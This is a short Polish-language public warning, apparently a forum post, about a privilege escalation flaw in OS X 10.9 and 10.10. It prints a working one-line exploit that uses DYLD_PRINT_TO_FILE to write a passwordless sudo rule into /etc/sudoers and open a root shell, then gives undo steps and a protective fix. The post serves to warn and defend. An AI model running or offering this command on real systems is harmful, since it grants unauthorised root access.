Apel do wszystkich użytkowników OS X 10.9 i 10.10 - gigantyczna luka bezpieczeństwa:
wystarczy w terminalu wpisać
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -i
aby uzyskać powłokę roota bez hasła.
BARDZO WAŻNE - jeżeli nie wiesz, co robisz, nie uruchamiaj tej komendy -> prowadzi do naprawialnie uszkodzonego systemu.
Jeżeli jednak uruchomiłeś/łaś, uruchom
EDITOR=nano sudo visudo
i usuń z końca pliku linijki o treści
<NAZWA_UŻYTKOWNIKA> ALL=(ALL) NOPASSWD:ALL
Jak się zabezpieczyć? Zainstaluj tego kexta -> https://github.com/s...SUIDGuardNG.pkg
Cały opis problemu:
https://www.sektione...o_file_lpe.html